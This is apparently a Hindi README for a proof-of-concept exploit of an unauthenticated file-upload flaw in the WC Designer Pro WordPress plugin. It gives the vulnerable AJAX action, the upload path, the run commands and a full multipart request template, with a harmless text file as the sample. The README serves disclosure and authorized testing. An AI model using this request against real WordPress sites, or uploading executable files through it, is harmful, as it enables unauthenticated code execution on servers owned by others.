
# WC Designer Pro WordPress प्लगइन के लिए अनप्रमाणित रिमोट कोड निष्पादन शोषण कमजोर AJAX एंडपॉइंट के माध्यम से पहचान, फ़ाइल अपलोड और शेल एक्सेस को स्वचालित करता है।
WC Designer Pro WordPress प्लगइन को प्रभावित करने वाली बिना प्रमाणीकरण के मनमानी फ़ाइल-अपलोड भेद्यता के लिए एक गैर-विनाशकारी प्रूफ ऑफ कॉन्सेप्ट।
WC Designer Pro में WordPress के admin-ajax.php एंडपॉइंट के माध्यम से उजागर एक AJAX एक्शन में बिना प्रमाणीकरण के मनमानी फ़ाइल-अपलोड भेद्यता मौजूद है।
प्रभावित हैंडलर पर्याप्त प्रमाणीकरण, प्राधिकरण, एक्सटेंशन सत्यापन, MIME-प्रकार सत्यापन, या सर्वर-साइड फ़ाइलनाम प्रतिबंध लागू किए बिना उपयोगकर्ता-नियंत्रित फ़ाइल मेटाडेटा और फ़ाइल सामग्री को संसाधित करता है।
कमजोर कॉन्फ़िगरेशन में, एक बिना प्रमाणीकरण वाला हमलावर वेब-सुलभ निर्देशिका में सर्वर-निष्पादन योग्य फ़ाइल अपलोड करने में सक्षम हो सकता है। सफल शोषण के परिणामस्वरूप वेब सर्वर प्रक्रिया के विशेषाधिकारों के अंतर्गत रिमोट कोड निष्पादन हो सकता है।
| गुण | मान |
|---|---|
| उत्पाद | WC Designer Pro |
| प्लेटफ़ॉर्म | WordPress |
| भेद्यता वर्ग | अप्रतिबंधित मनमानी फ़ाइल अपलोड |
| CWE | CWE-434 |
| प्रमाणीकरण आवश्यक | नहीं |
| उपयोगकर्ता सहभागिता आवश्यक | नहीं |
| संभावित प्रभाव | रिमोट कोड निष्पादन |
| हमले की जटिलता | कम |
| कमजोर घटक | WordPress AJAX अपलोड हैंडलर |
| AJAX एक्शन | wcdp_save_canvas_design_ajax |
सटीक प्रभावित संस्करण सीमा, CVE पहचानकर्ता और CVSS स्कोर केवल स्वतंत्र रूप से सत्यापित होने के बाद ही प्रकाशित किए जाने चाहिए।
सफल शोषण एक बिना प्रमाणीकरण वाले हमलावर को निम्न की अनुमति दे सकता है:
अंतिम प्रभाव वेब सर्वर कॉन्फ़िगरेशन, PHP निष्पादन नियमों, फाइलसिस्टम अनुमतियों और होस्टिंग प्रदाता द्वारा तैनात सुरक्षा नियंत्रणों पर निर्भर करता है।
प्रभावित संस्करण सीमा वर्तमान में सत्यापित की जा रही है।
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed
जब तक परीक्षण या विक्रेता की पुष्टि उस निष्कर्ष का समर्थन नहीं करती, यह न बताएँ कि हर संस्करण प्रभावित है।
कमजोर अपलोड प्रवाह निम्नलिखित AJAX एक्शन को आपूर्ति किए गए हमलावर-नियंत्रित मानों पर भरोसा करता हुआ प्रतीत होता है:
wcdp_save_canvas_design_ajax
अनुरोध में निम्नलिखित फ़ाइल मेटाडेटा होता है:
भेद्यता तब मौजूद होती है जब सर्वर निम्नलिखित सभी नियंत्रणों को निष्पादित किए बिना इन मानों को स्वीकार करता है:
Unauthenticated request
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Insufficient validation of uploaded file
│
▼
File written to a web-accessible directory
│
▼
Potential server-side code execution
अवलोकित अपलोड पथ इस संरचना का अनुसरण करता है:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
सटीक पथ प्लगइन संस्करण, WordPress कॉन्फ़िगरेशन और सर्वर वातावरण के आधार पर भिन्न हो सकता है।
pipइस प्रूफ ऑफ कॉन्सेप्ट का उपयोग स्पष्ट लिखित प्राधिकरण के बिना तृतीय-पक्ष प्रणालियों के विरुद्ध नहीं किया जाना चाहिए।
रिपॉजिटरी क्लोन करें:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
वर्चुअल वातावरण बनाएँ और सक्रिय करें:
python3 -m venv .venv
source .venv/bin/activate
Windows पर:
python -m venv .venv
.venv\Scripts\Activate.ps1
निर्भरताएँ स्थापित करें:
pip install -r requirements.txt
उदाहरण requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
प्रूफ ऑफ कॉन्सेप्ट को केवल एक अधिकृत प्रयोगशाला लक्ष्य के विरुद्ध निष्पादित किया जाना चाहिए।
python3 exploit.py --url https://wordpress-lab.example
गैर-विनाशकारी सत्यापन के लिए:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
उदाहरण सत्यापन फ़ाइल:
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing
समर्थित तर्कों को देखने के लिए अंतर्निहित हेल्प कमांड का उपयोग करें:
python3 exploit.py --help
उदाहरण आउटपुट:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro arbitrary file-upload verification PoC
options:
-h, --help show this help message and exit
--url URL authorized WordPress target
--file FILE harmless verification file
--timeout SECONDS HTTP request timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
अनुरोध निम्न का आह्वान करता है:
action=wcdp_save_canvas_design_ajax
नीचे एक सरलीकृत अनुरोध संरचना दिखाई गई है:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Authorized security verification
------Boundary--
यह उदाहरण जानबूझकर एक गैर-निष्पादन योग्य टेक्स्ट फ़ाइल का उपयोग करता है।
एक सफल अनुरोध निम्न के समान प्रतिक्रिया लौटा सकता है:
{
"userID": false,
"filesCMYK": [],
"success": true
}